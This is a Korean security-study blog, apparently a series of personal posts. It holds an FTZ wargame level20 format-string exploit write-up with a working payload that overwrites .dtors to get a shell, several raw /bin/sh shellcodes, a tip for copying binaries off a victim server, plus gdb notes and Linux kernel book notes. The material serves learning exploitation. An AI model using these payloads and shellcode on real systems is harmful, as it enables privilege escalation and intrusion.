그런데 %n은 독특한 기능을 합니다.

%n은 %n이 나오기 전에 출력된 자릿수를 계산하여 스택의 다음 4바이트에 있는 내용을 주소로 여기고 그 주소에 계산한 자릿수, 즉 숫자를 입력하는 것입니다.

자 그럼 "AAAA%n"을 넣었다고 하고 어떻게 되는지 그림으로 보겠습니다.

                메모리 높은 주소
                /------------------/
                 |          %n            |
                 |           A              |
                 |           A              | bleh[80]
                 |           A              |
                 |           A              |
                /------------------/
                 |                          |
                 |     printf(bleh)     | bleh의 주소가 들어가 있다.
                 |                          |
                 /-----------------/  <-- printf함수의 의해 화면이 출력될 때 esp가 가리키고 있는 곳
                메모리 낮은 주소

처음에는 당연히 AAAA를 출력합니다. %n을 만나면 지금까지 출력된 자릿수를 계산합니다. 계산하니 AAAA 4자리군요. 자이제 스택의 다음 4바이트의 내용을 확인합니다. 0x41414141 이겠군요(AAAA). 메모리의  0x41414141이라는 주소에 계산한 자릿수 4를 써버리는 것입니다.

그리고 %n 앞에 다른서식문자를 이용하여 %n이 인식하는 자릿수를 지정할 수도 있습니다.

예를 들어  %100c%n 이랗고 한다면 100이라는 숫자를 넣는다는 것입니다.


오~ 여기서 키포인트가 나옵니다. 우리가 원하는 메모리 주소에 원하는 내용을 쓸 수 있다는 것입니다.

ret주소에 쉘코드 주소를 쓸 수 있다는 결론이 나옵니다.

ret주소는 알아내면 될 것이고, %n은 자릿수를 10진수로 해서 넣으니 쉘코드 주소를 10진수로 바꿔서 ret주소에 써버리면 되겠습니다.


  (3)원하는 주소에 원하는 값 넣기

%임의정수c로써 %n이 인식하는 자릿수를 마음대로 정할 수 있으므로, 우리는 %임의정수c를 이용하여야 합니다. 그런데 %임의정수c에도 %c라는 서식문자가 포함되어 있기때문에 역시 스택의 4바이트를 출력하게 됩니다. 따라서 %임의정수c에 의해서 출력될 4바이트도 입력해주어야 합니다.(지금 글에서는 AAAA라는 문자를 이용하여 %임의정수c에 의해서 출력되도록 하였습니다.)

쉘코드의 주소를  입력하는데 10진수로 바꿔서 입력되도록 하여야 합니다. 그런데 일반 x86시스템에서는 정수를 이용하여 0xffffffff(4294967295)만 큼의 크기를 지정할 수 없습니다. 그래서 나온 방법이 쉘코드의 주소를 2바이트씩 나누어서 입력하는 것 입니다.

예를 들면 쉘코드의 주소가 0xbffffab8이라면 bfff와 fab8으로 나누어서 각자 10진수로 바꾸는 것입니다.

그리고 ret 주소가 08049594이라면 08049594에 2바이트(fab8)를 입력하고, 이제 2바이트 증가한 08049596에 나머지 2바이트(bfff)를 입력하는 것 방식을 취하는 것입니다.

(fab8 = 64184) 은 08049594의 주소에 넣고, (bfff  = 49151) 은 08049596의 주소에 들어가도록 해야 겠습니다.

또한 리틀 엔디안 방식을 취하고 있으므로 낮은 자리수의 것을 먼저 입력해야 할 것입니다.

또 한가지 알아야 할 부분은 레벨20의 프로그램은 서식문자가 4개가 되어서야 bleh[80]을 읽어내기 시작하였다는 것을 앞에서 확인하였습니다. 쉘코드를 입력할 ret의 주소가 bleh에 있기 때문에 esp가 가리키는 곳을 bleh까지 옮기기 위해 서식문자 %8x를 3개사용하여야 합니다. %8x로 한것은 각 부분이 최대 8자리를 차지하기 때문입니다.


자 그래서 지금까지 살펴본 것들을 토대로 하면 우리가 bleh입력할 문자열의 생김새는 다음과 같습니다.


AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n


%64144c와 %50503c에 대해서 설명을 하겠습니다.

원래 쉘코드를 10진수로 바꾸면 64184와 49151입니다.

%n은 자신이 나오기 전까지 모든 자릿수를 계산하기 때문에

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x 에 대한 자릿수까지 계산하게 됩니다. 이들의 자릿수는 (4 + 4 + 4 +4 +8 + 8 + 8) 40이므로64184에서 40을 빼 %64144c로 한 것입니다.

50503은 역시 원래 49151(bfff)입니다. 여기에서도 또한 %n은 자신이 나오기 이전의 모든 자릿수를 계산하므로 AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n에 대한 자릿수도 계산하게 됩니다. 이에 해당하는 자릿수는 64184이므로 이를 빼줘야 합니다. 

그런데 49151(bfff)에서 빼게 되면 음수가 되므로 앞에 1을 붙인 값 (1bfff)를 10진수로 변환한 값(114687)에서 64184를 빼서 %50503c가 되었습니다.

최종적으로 우리가 bleh에 입력할 문자열의 모습은 위와 같겠습니다.


4. ret주소와 .dtors

먼저 우리는 ret주소를 알아내야 합니다. 하지만 레벨20의 프로그램은 gdb로 실행이 안되어서 ret주소를 찾을 수가 없습니다.

그래서 .dtors라는 것을 이용하는데 이에 대한 설명은 하지 않겠습니다

 .dtors는 main함수가 끝나고 실행이 되는 명령이 있는 곳이라고 합니다. 이는 gcc로 컴파일한 경우에만 존재하는 것이라고합니다.

우리가 이 .dtors주소에 쉘코드의 주소를 덮어 쓰는 것입니다.

우리는 쉽게 이 .dotrs주소를 알아낼 수 있는데요.  명령은 다음과 같습니다

[

level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008 08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


5. 문제해결

이제 지금까지 살펴본 내용을 토대로 하여 레벨20 해결을 시도해 보겠습니다.


  (1)쉘코드 주소

먼저 에그쉘을 실행시키고 쉘코드의 주소를 알아보겠습니다.

[level20@ftz level20]$ ./tmp/egg
Using address: 0xbffffaa8


  (2)ret주소 또는 ./dtors

레벨20의 프로그램은 gdb에서 실행이 되지 않으므로 .dtors의 주소를 알아내어 그 주소에 쉘코드 주소를 덮어 쓰는 방식으로 하겠습니다.

[level20@ftz level20]$ objdump -h attackme | grep .dtors
 18 .dtors        00000008  08049594  08049594  00000594  2**2

08049594+4 인 위치에 쉘코드 주소를 덮어 쓰면 되겠습니다.


  (3)입력할 문자열

%임의정수c의 %c에 의해서 스택에서 읽혀질 문자 4바이트 "AAAA"를 입력.

%8x를 세개 넣어서 bleh를 참조하도록 함.

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%임의정수1c%n%임의정수2c%n

임의정수1c = 쉘코드 주소(bffffaa8)중 faa8에서 앞의 자릿수(4+4+4+4+8+8+8 = 40)을 뺀 결과 64128
임의정수2c = 쉘코드 주소(bffffaa8)중 bfff앞에 1을 붙인 1bfff에서 (40+64128)을 뺀결과 50519

따라서 입력할 문자열은

AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n

이 됩니다.

이것이 스택에 틀어간 모습을 그려보겠습니다.

                                     메모리의 높은 숫자의 주소
                /-------------------------/  
                 |            ret                      |     Stack
                /-------------------------/
                 |             sfb                    |
                /-------------------------/
                 |          쓰레기1                |
                /-------------------------/
                 |          쓰레기2                |
                /-------------------------/
                 |               %n                |
                 |           %50519c            |
                 |               %n                |
                 |           %64128c            |
                 |              %8x                | 
                 |             %8x                 |
                 |             %8x                 |
                 |   \x9a\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+24)
                 |            AAAA                |  ← %50519c에 의해서 AAA가 출력 (esp+24)
                 |   \x98\x95\x04\x08   |  ← %n에 의해서 이주소에 지금까지 계산한 자리수가 입력(esp+20)
                 |            AAAA                |  ← %64128c에 의해 AAAA가 출력(esp+16)
                /------------------------/
                 |                                    |  ← %8x(esp+12)
                 |          ??생략??             |  ← %8x(esp+8)
                 |                                    |  ← %8x를 만나 이 위치의 내용을 출력, esp+4)
                /------------------------/
                 |                                    |
                 |         printf(bleh)           |   ←AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08을 
                 |                                    |     화면에 출력               
                 /-------------------------/←printf함수에 의해 출력이 시작할 때 스택의 위치(esp+0)
                                      메모리의  낮은 숫자의 주소


  (4)포맷스트링버그

이제 해당 문자열을 입력해보겠습니다.

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme


[level20@ftz level20]$ (python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%64128c%n%50519c%n"';cat)|./attackme
~~
공백
~~
                                                              A
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)

드디어 clear의 uid가 되었습니다.

성공하였습니다. 포맷스트링버그 이해는 하고 있지만 설명하기가 무척 어려웠습니다.
이점 이해해주시구요 -_-

수고하셨습니다.

Posted by k1rha
2012. 3. 23. 20:55
리눅스 환경의 문제의 경우 바이너리 파일만 존재 하는 경우가 있다.

하지만 이 파일을 IDA로 분석하기 위해서는 다운을 받아야 하게 되는데, 환경만 된다면 sftp 나 wget 을 이용하여 받을수 있다. 하지만 이것이 불가능 한 경우가 있다.

이 경우는 xxd 명령어를 통하여 바이너리를 그대로 텍스트 형식으로 저장하여 옴겨서 다시 새로운 바이너리 파일을 만드는 방식을 사용 할 수 있다. 


victim-server> xxd [binary file] > result
victim-server> cat result
...............contents..........
.................................
.................................
(복사하여 내 서버에 옴긴다)


k1rha`s-server > vi result


...............contents..........
.................................
.................................
(복사한 내용을 붙인다.)

%!xxd -r
:wq recovery

k1rha`s-server> chmod 777  recovery  
k1rha`s-server> ./recoverr 

하면 바이너리 파일를 그대로 옴겨 실행 할 수 있다.

이 후 window 로 가져올때는  wget을 이용하던 웹을 이용하던 ftp를 이용하던 자유롭게 자신의 컴퓨터로 다운 받으면 된다. 





                                              Thanks for [ CodeAche ] bro~  




Posted by k1rha
2012. 3. 21. 03:05

(echo "aaaa\r\n\") | nc localhost 8080

이런식으로 인자전달이 되면

login : aaaaa 

Posted by k1rha
2012. 3. 21. 02:46
Posted by k1rha
2012. 3. 21. 02:45
===================== Answer by Mongil ==================================
어셈에서 return 해주는 두 가지 방법이 있는데~
하나는 원래 인라인 어셈 문법 중에 c언어 변수를
전달하는 것이 있고 (http://wiki.kldp.org/KoreanDoc/html/EmbeddedKernel-KLDP/app3.basic.html)
다른 하나는 꽁수를 이용하는 건데 C언어에서 함수가
리턴될 때 내부적으로 %eax 레지스터 값을 가져오거든
그래서 다음과 같이 가능하삼
int my_func()
{
asm("어쩌구저쩌구\n
mov %eax, 리턴값\n");
}

int main()
{
int ret = my_func();
printf("%d\n", ret);
}

잘 이해 안되면 다시 질문해주삼~


=====================================================================
Posted by k1rha
2012. 3. 21. 02:45
esi edi 에 대한 쓰임새에 대해 조사해보자.

ftz 에서는 운좋게 esi edi 레지스터가 쓰기 가능한 영역에 존재 했었던 거고,

새로운 환경에서는 esi 와 edi 의 주소안에 쓰레기값이 존재하며 그 쓰레기 영역은 쓰기권한이 없었기에

세그먼트폴트가 떴던 것이였다.


.globl main
main:
xor %edx,%edx
movl %edx,%eax
movb $0xb,%al
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,%ebx
pushl %edx
pushl %ebx
leal (%esp),%ecx
int $0x80




shellcode : \x31\xd2\x89\xd0\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x8d\x0c\x24\xcd\x80

=================== Thax for indle bro~ ===============================

execve("파일실행","인자값 ==없으면 파일명의 더블포인터","환경변수");

인데, 각각 [포인터형] [더블포인터형] [트리플포인터형] 이다.


더블포인터를 어셈에서 구현해주는 것은

[adrress][null]//bin//sh[null] 로 구현가능하다.

즉 첫번째 두번째 세번째 push 에서 /bin//sh[null] 가 구현되고

이 스택 포인터를 ebx에 저장후 다시 null 값 [null]/bin//sh[null]

다음 push 에서 /bin//sh 의 주소 값. [/bin//sh`s address][null][/bin//sh][null] 로 들어가게된다.

이후 환경변수 edx 를 null 로 지정해줌으로써 execve 가 완성되는것이다.

그동안 쉘코드를 나름 이해하면서 쓴다고 생각했는데.. 다시생각하는 계기가 되었다. 
Posted by k1rha
2012. 3. 21. 02:44
=====================================================================
gdb 분석법에 대한 복습!

envirment :
Linux server1 2.6.28-18-server #59-Ubuntu SMP Thu Jan 28 02:23:52 UTC 2010 i686 GNU/Linux



코드는 몽형이 짠걸 얼추 기억해서 ... 재코딩

#include<stdio.h>
#include<string.h>

int main(int argc, char *argv[]){

char buff[40];


if(argc!=7){
printf("failed\n");
}

else{
fgets(buff,"17",stdin);

printf("%s",buff);

if(strstr("key",buff)==0){

printf("success\n");
}

else{
printf("failed\n");
}
}

}
#########################################################################
분석을 마치며 느낀점

ubuntu 는 프로시져 프롤로그 부분이 다르다. 스택을 좀더 보호하는 쪽인것 같은데
정확히 파악을 하지 못했다.

또한 print 함수를 호출하는 대신 같은 printf 라도 puts 를 통해 글자를 출력한다.

마지막으로 인자값전달에서 스택에 push하고 빼는 형식의 redhat 과는 달리

(%esp), 0x4(%esp), 0x8(%esp) 같은 식으로 esp 부분에 인자값을 하나식 전달하는 방법을
사용함을 알수 있었다.

마지막으로 16바이트로 주소값 끝에 00을 맞춰주려던 sub 함수들도 사라져 있는것을 알수 있다.
#########################################################################
=====================================================================

#### gdb 명령어 실행 ######

study@server1:~/programming/hack/gdb_excercise$ gdb -q argv
(gdb) disass main
Dump of assembler code for function main:
0x080484a4 <main+0>: lea 0x4(%esp),%ecx
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl -0x4(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx
0x080484b2 <main+14>: sub $0x44,%esp
0x080484b5 <main+17>: mov 0x4(%ecx),%eax
0x080484b8 <main+20>: mov %eax,-0x38(%ebp)
0x080484bb <main+23>: mov %gs:0x14,%eax
0x080484c1 <main+29>: mov %eax,-0x8(%ebp)
0x080484c4 <main+32>: xor %eax,%eax
0x080484c6 <main+34>: cmpl $0x7,(%ecx)
0x080484c9 <main+37>: je 0x80484d9 <main+53>
0x080484cb <main+39>: movl $0x8048610,(%esp)
0x080484d2 <main+46>: call 0x80483e0 <puts@plt>
0x080484d7 <main+51>: jmp 0x8048527 <main+131>
0x080484d9 <main+53>: mov 0x804a020,%eax
0x080484de <main+58>: mov $0x8048617,%edx
0x080484e3 <main+63>: mov %eax,0x8(%esp)
0x080484e7 <main+67>: mov %edx,0x4(%esp)
0x080484eb <main+71>: lea -0x30(%ebp),%eax
0x080484ee <main+74>: mov %eax,(%esp)
0x080484f1 <main+77>: call 0x80483a0 <fgets@plt>
0x080484f6 <main+82>: lea -0x30(%ebp),%eax
0x080484f9 <main+85>: mov %eax,0x4(%esp)
0x080484fd <main+89>: movl $0x8048619,(%esp)
0x08048504 <main+96>: call 0x80483c0 <strstr@plt>
0x08048509 <main+101>: test %eax,%eax
0x0804850b <main+103>: jne 0x804851b <main+119>
0x0804850d <main+105>: movl $0x804861d,(%esp)
0x08048514 <main+112>: call 0x80483e0 <puts@plt>
0x08048519 <main+117>: jmp 0x8048527 <main+131>
0x0804851b <main+119>: movl $0x8048610,(%esp)
0x08048522 <main+126>: call 0x80483e0 <puts@plt>
0x08048527 <main+131>: mov -0x8(%ebp),%edx
0x0804852a <main+134>: xor %gs:0x14,%edx
0x08048531 <main+141>: je 0x8048538 <main+148>
0x08048533 <main+143>: call 0x80483d0 <__stack_chk_fail@plt>
0x08048538 <main+148>: add $0x44,%esp
0x0804853b <main+151>: pop %ecx
---Type <return> to continue, or q <return> to quit---
0x0804853c <main+152>: pop %ebp
0x0804853d <main+153>: lea -0x4(%ecx),%esp
0x08048540 <main+156>: ret


###################################################################

break main 으로 *를 사용하지 않아서 프롤로그 부분을 넘긴다.
=> gdb 가 버리가 좋아서 main 함수에 break 를 잡으면 아라서 프롤로그를 넘긴다.

###################################################################
(gdb) break main
Breakpoint 1 at 0x80484b2
0x080484b2 <main+14>: 같은 주소값이 main+14 이니깐 이 이후가 실제 코드영역이다.

0x080484a4 <main+0>: lea 0x4(%esp),%ecx
0x080484a8 <main+4>: and $0xfffffff0,%esp
0x080484ab <main+7>: pushl -0x4(%ecx)
0x080484ae <main+10>: push %ebp
0x080484af <main+11>: mov %esp,%ebp
0x080484b1 <main+13>: push %ecx
이부분은 esp를 ebp 에 넣고 스택을 완성하며 ecx를 넣어서 스택 가드를 형성한다.
이때 ebp 를 push 하고 스택 포인터를 ebp 에 넣은다음 ecx를 push 한다.

즉,
[buff][ ecx ][sfp][ret][argc][argv]
(스택가드와 연관있을듯)가 되어있다.


0x080484b2 <main+14>: sub $0x44,%esp //스택을 68바이트만큼 확장
0x080484b5 <main+17>: mov 0x4(%ecx),%eax //ret 주소를 eax 에 저장
0x080484b8 <main+20>: mov %eax,-0x38(%ebp) //ret주소가 저장된 eax를 확장된스택 56바이트 지점에 삽입
0x080484bb <main+23>: mov %gs:0x14,%eax
0x080484c1 <main+29>: mov %eax,-0x8(%ebp)

스택을 44(16)바이트 만큼 확장 시킨다.
(gdb) print 0x44
$2 = 68(만큼 확장)

print 0x38=56

/////////////////////////////////////////////////////////////////////////////
먼말인지 모르겠다 ㅠ..ㅠ
////////////////////////////////////////////////////////////////////////////

0x080484c6 <main+34>: cmpl $0x7,(%ecx) //argc 가 7개인가 비교
0x080484c9 <main+37>: je 0x80484d9 <main+53> //같다면 main 53으로.
0x080484cb <main+39>: movl $0x8048610,(%esp) //아니라면 failed 를 esp 에삽입
0x080484d2 <main+46>: call 0x80483e0 <puts@plt> //printf 대신 puts로 이동한다?
0x080484d7 <main+51>: jmp 0x8048527 <main+131> //마지막으로 이동하여 에필로그.
0x080484d9 <main+53>: mov 0x804a020,%eax //인자값이 7일때 stdin 을 eax에 저장
0x080484de <main+58>: mov $0x8048617,%edx //3이란 숫자를 edx에 받고.
0x080484e3 <main+63>: mov %eax,0x8(%esp) //esp 8만큼 떨어진곳에 그값을저장
0x080484e7 <main+67>: mov %edx,0x4(%esp) //4만틈 떨어진곳에 edx를 저장.
0x080484eb <main+71>: lea -0x30(%ebp),%eax //48만큼 떨어진 ebp 값을(입력받은 버퍼값) eax 에 복사
0x080484ee <main+74>: mov %eax,(%esp) //입력버퍼값을 마지막 인자로 전달.
0x080484f1 <main+77>: call 0x80483a0 <fgets@plt> //fget를 호출.(입력받는다)


(gdb) x/s 0x8048610
0x8048610: "failed"
Breakpoint 1, 0x080484d2 in main ()
(gdb) ni
failed
0x080484d7 in main ()
(gdb)

(gdb)
===================================================================
reghat 과 다르게 puts로 이동한다?
기억상으론 printf 부분이여야 한다.
puts 분석은 맨 아래로..

===================================================================
(gdb) x/s 0x804a020
0x804a020 <stdin@@GLIBC_2.0>: " Tú·"
(gdb)


(gdb) x/s 0x8048617
0x8048617: "3"
(gdb)
(gdb) print 0x30
$3 = 48
(gdb)
(gdb)

========================================================================

0x080484f6 <main+82>: lea -0x30(%ebp),%eax //입력받은 값을 eax로 전달.
0x080484f9 <main+85>: mov %eax,0x4(%esp) //그값을 esp 두번째 인자로 저장.
0x080484fd <main+89>: movl $0x8048619,(%esp) //key 라는 값을 첫번째 인자로 전달
0x08048504 <main+96>: call 0x80483c0 <strstr@plt> //strstr 함수 호출
0x08048509 <main+101>: test %eax,%eax
0x0804850b <main+103>: jne 0x804851b <main+119> //같지 않다면 119로 이동.
0x0804850d <main+105>: movl $0x804861d,(%esp) //sucsess 를 첫번째 인자로전달
0x08048514 <main+112>: call 0x80483e0 <puts@plt> //puts 호출
0x08048519 <main+117>: jmp 0x8048527 <main+131> //131로 이동하여 에필로그수행
0x0804851b <main+119>: movl $0x8048610,(%esp) //failed 저장
0x08048522 <main+126>: call 0x80483e0 <puts@plt> //puts 호출
0x08048527 <main+131>: mov -0x8(%ebp),%edx

=======================================================================
(gdb) x/s 0x8048619
0x8048619: "key"

(gdb) x/s 0x804861d
0x804861d: "success"
(gdb)
(gdb) x/s 0x8048610
0x8048610: "failed"
(gdb)


(gdb)



==================================================================================
else 용어 정리

실행법.
시작과 중단
kill : 중단
run : 시작

Assembly 문법 변경
set disassembly-flavor [intel | att]

약어 : set di i
set di a

도움말 : help

[주요 명령어]
disass
break
clear delete (clear는 주소/심볼 delete 는 bp number 로 가능)
info break 브레이크 포인트 리스트 보기
continue : 실행 재개
Stepi:step instruction 함수를 만나면안으로 따라 들어감, 약어 : si
Nexti : next instruction 함수를 만나면 그냥 실행시킴 약어 : ni

info reg : cpu regster 출력. (올리디버거 효과)

[ break 심화 ]
rbreak ^foo 함수 전체 브레이크 포인트
hbreak [same] : hardware break point
tbreak [same] : temp break point
condition [break_number]i==100 조건 브레이크

데이터보기
print/F [대상] : 값 출력
x/CSF [대상] : 주소 + 값 출력
c(count)::1~xxx
s(size) : b(byte),h(half word), w(word), g(giant==8byte)
f(formet): c(char),s(string),x(hex),a(address),i(instruction),t(binary)
whatch [대상]
데이터값이 변경될 때마다 알려줌

데이터 변경하기

P [symbol] =값
set *[Address]=값
set $[Register]=값
실행 흐름 변경하기
Set $eip = xxx


Core파일 분석하기

gdb - c core : gdb 실행시 로딩
core-file ./ore : gdb 실행후 로딩
gdb ./xxx -c core : 심볼과 함께 로딩
bt: back tracing
stack frame
ulmit -c [size_kb]
코어파일 생성하도록 설정 변경

[기타 팁들 ]
실시간 명령 보기
display/10i $eip : 실시간 명령설정
undisplay : 설정 취소

바이너리내 심볼보기
info variables )모든 변수), info locals(지역변수), info functions(모든 함수)
사용자 명령정의
define abc(끝날땐 end)

gdb 설정파일
~/.gdbinit 파일 생성
Print 를 계산기로 활용가능
Print 10+20
print/c 0xbffffffd8 = 음수 측정

부모함수로 빠져나가기 up
Posted by k1rha
2012. 3. 21. 02:43
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

문제를 풀다보면 %2f 로 인하여 쉘코드가 먹히지 않는 경우가 있다.
이런경우엔 쉘코드를 다시 짜줘야하는데, 실력이 없는지라 %2f 가 되는 쉘코드를 짜지는 못하겠다..

위에 쉘코드도 펌.~  
Posted by k1rha
2012. 3. 21. 02:42

main:
xor %eax,%eax
movb $0x18,%al
int $0x80

movl %eax,%ebx
movl %ebx,%ecx
xor %eax,%eax
movb $0x46,%al
int $0x80

xor %edx,%edx
xor %eax,%eax
movb $0xb,%al
push %edx
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
push %edx
push %ebx
movl %esp,%ecx
int $0x80

이놈의 쉘코드.. 짤때마다 짜증나게 오류가나네 --

미리 이렇게 올려놔야지...

Posted by k1rha
2012. 3. 21. 02:40
내멋대로 만든 요약판이다.
개인적으로 중요시 여긴것만 모아놓은 자료임..  

==========================================================================================
리눅스 커널 심층분석 2nd 를 요약하기 앞서 난 운영체제 수업이라고는 한번도 들어본적이 없다.
이런 내가 '이 책은 유명 해커가 쓴책이라 재밌다!" 라는 sjh21 말에 넘어가 버렸다.
어려운 커널책을 뒤로하고 이책의 장점은, 커널 프로그래밍보다는 커널이 어떤것 인가? 어떤 용어들이 쓰이는가에
중점을 두고 있었다.

그리고 sjh21 의 요약을 해보라는 말에 요약까지 해보는데, 덕분에 한번더 정독을 할수 있는 계기가 되었고, 도움이 된것같다. 

3번이나 읽으면서 얻어낸거라곤 용어와 커널이란 결국 동시다발적으로 일어나는 하드웨어, 유저 의 입출력을
충돌없이 잘 돌아가게 하는것이 80%라는 생각아래 글을 읽기전에 이걸 한번 언급하고싶었다.

by.k1rha
==============================================================================================




| 응용 프로그램 ||응용프로그램2||응용프로그램3|   <--USER INTERFACE
            | system call interface |
|커널 서브 시스템| |디바이스 드라이버|


일반적으로 인터렙트는 어떤 번호를 가지는데 커널은 이번호를 사용하여 특정 인터럽트 핸들러를 작용시킨다
그리고 그 인터렙트를 처리하고 응답한다.

ex)키보드 컼트롤러가 인터럽트를 발생시켜 시스템으로 하여금 키보드 버퍼에 처리해야할 데이터가 있음을 알린다.
-> 커널은 그 인터렙트 번호를 보고 알맞는 핸들러를 실행한다


리눅스 --> 모노라틱 커널 >> 주소 공간을 갖는 하나의 프로세스 형태 


리눅스와 유닉스의 차이점

리눅스 : 커널 모듈이 동적으로 로드 할수 있따.
SMP(대칭형 멀티프로세싱이 가능하다)
선점형 방식이다
스레드와 프로세스간의 차이가 없다.
리눅스 == GNU C라 인라인 함수들을 제공한다


유닉스 : 모노라틱하고 선점형방식도 아니다. 
자원을 공유하는 프로세스가 따로 존재한다.




태스크 : 프로세스의 다른이름으로 리눅스 커널에서는 프로세스를 종종 태스크라고 부르는 경우가많다.

스레드 (thread) : 프로세스 안에 있는 활동을 가진 객체이다.
저마다 고유한 가상 프로세서를 할당 받지만 가상 메모리는 공유한다.

-->하나의 메모리 주소 공간을 공유하기 때문에 동시 프로그래밍과 다중 프로세서 시스템의 경우 진정한 병렬 컴퓨팅을 가능케 한다.




fork() system call 은 부모프로세스와 자식프로세스에서 리턴되어 총 2번 커널로부터 리턴된다.

fork()->exec->clone->exit 
종료된 프로세스는 좀비 상태에 놓이게 되는데 이것은 종료 되었지만 아직 부모프로세스가 wait 혹은 waitpid를 호출하지 않는
프로세스를 표시하기 위해 사용된다. 

프로세스 서술자의 저장
시스템은 PID라는 값으로 프로세스 식별

프로세스 상태 
task_running: 프로세스 실행가능 
task_uninterretable : ghrdms block(중단) 상태 <<-- 프로세스가 signal을 받더라도 꺠어나지 못함

task_zomie : 태스크가 종료되었지만 아직 부모테스크가 시스템 콜을 호출하지 않은 상태

프로세스 상태조작은 set_task_state(task,state); 에서 한다.

프로세스 생성

'스폰'메커니즘에 의해 새 프로세스를 새 주소 공간에 할당하고, 실행 파일을 읽어들이고, 프로그램을 실행하는 작업들을 처리한다.

유닉스는 이작업을 fork() execl() 두개로 나누어 fork()는 태스크를 복제하여 자식프로세스를 생성하고, 자식은
부모프로세스 PID 와 PPID 상송되지 않은 자원에서만 차이가 난다.

COW(Copy on write):데이터의 복제를 지연 또는 방지하는 기법이다. 즉, 프로세스 주소 공간을 복제하는 대신 공간을 공유한다.


vfork() 시스템 콜은 부모 프로세스의 페이지 테이블 영역이 복제되지 않는다는 점을 제외하고는 fork() 와 동일하다.
대신 자식 프로세스는 부모의 주소 공간에서 마치 하나의 스레드인 것처럼 동작하고 부모는 자식이 exec() 를 호출하거나 종료될 때까지 대기한다.


부모없는 태스크의 딜레마?

부모없이 종료된 프로세스등은 언제까지고 좀비 상태로 남아 메모리를 소비한다.
해결책은 스레드 그룹의 다른 프로세스를 부모가 하던가 init 프로세스를 부모로 만드는 것이다.
부모를 바꿀경우 do_exit()에서 modify_parent()가 호출 될때 forget_original_parent()를 사용한다.



멀티태스킹 운영체제(협력형[cooperative], 멀티태스킹 선점형)을 대부분 사용한다.

실행중이 ㄴ프로세스가 비자발 적으로 중지되는것을 선점이라고하고 서점되기까지 프로세스가 실행되는 시간을 미리 정해지는데,
이것을 타임 슬라이스라고한다.
타임 슬라이스가 너무 길면 시스템의 인터랙티브한 성능을 떨어뜨려 더이상 응용 프로그램이 동시에 수행하는 것처럼 
느껴지지 않을 것이며 너무 짧으면 스위칭하는데 자원을 너무 소모 할 것이다. 

프로세스 우선수의 구현은 2가지로 나뉘는데 nice 값(-20 ~ 19 중 큰 nice 값은 낮은 우선순위) 과 실시간 우선순위 (0~99)가 있다.

schedule(): 다음 번 수행할 프로세스를 선택하고 그 프로세스에게 실행 권한을 넘기는 작업

effective_prio() 함수는 태스크의 동적 우선 순위를 리턴한다.

task의 sleep 과 wake 
sleep은 어떠한 이벤트를 기달리는데 크게 파일 I/O,  하드웨어 이벤트, 특정 시간, 세마포어 획득이 있따.

휴면은 대기큐(wake_queue_head_t)를 통해 처리된다.
DECLARE_WAIT_QUEUE_HEAD()를 통하여 정적으로 생산
init_wait_queue_head()를 통한 동적 생성이 있따.
race condition을 예방하기 위해서는 이러한 휴면과 깨어남을 구분 지어야 한다

로드 벨런서(load_balance()(call)) 실행큐의 균형을 맞추는 역할을 한다. 
과정 : load_balance()는 find_busiest_queue()를 호출하여 가장 바쁜 실행큐를 찾아낸다.
25% 이상의 프로세스를 갖는 프로세스 가 없는 경우 NULL 을 리턴 load_balance()는 종료된다
어느곳에서 빼올지를 결헌한뒤 가장 높은 우선 선위를 찾는다.
-> 다른 프로세스의 이동이 금지되지 않은 태스크를 찾는다 -> pull_task()로 바쁜 실행큐로부터
현재 실행큐로 프로세서를 이동한다.


선점과 컨텍스트 스위칭? 

컨테스트 스위칭(context switching)이란 하나의 실행 가능 태스크를 다른 태스크로 바꾸는 것을 말하며, kernel / sched.c 에 정의된 context_switch()함수에 의해 호출도ㅓㅣㄴ다.
1.asm/mmu_context.h 에 정의된 switch_mm()함수를 호출, 이전 프로세스의 가상 메모리 매핑을 새 프로세스의 것으로 대체한다.

asm/system.h에 정의된 switch_to() 함수를 호출 프로세서 상태를 이전 프로세서에서 현재프로세스로 전환한다.
이과정에는 스택 정보와 프로세서 레지스터를 저장하고 복원하는 등의 작업이 포함된다.

USER 선점:커널이 유저공간으로 돌아가기 직전에 일어나는 것으로 이경우 need_resched가 설정됐으므로 스케쥴러가 수행된다.

KERNEL 선점 : 리눅스 커널은 다른 대부분의 유닉스 변종이나 다른 많은 운영체제와는 달리 완벽한 선점형 커널이다. 비선점형 커널에서는 커널 코드가 종료 될때까지 실행한다.
즉 커널 안에 있는 경우 스케줄러가 다른 태스크를 다시 스케줄링하는 것이 불가능 하다.
커널 코드는 협력적(cooperative)으로 선점 되는것이지 선점되지는 않는다는 것이다.


SYSTEM CALL : 대게 함수 호출을 통해사용되며 하나 혹은 그이상의 인자를 받아들여 하나 이상의 사이드 이펙트를 가져 올 수 있다.

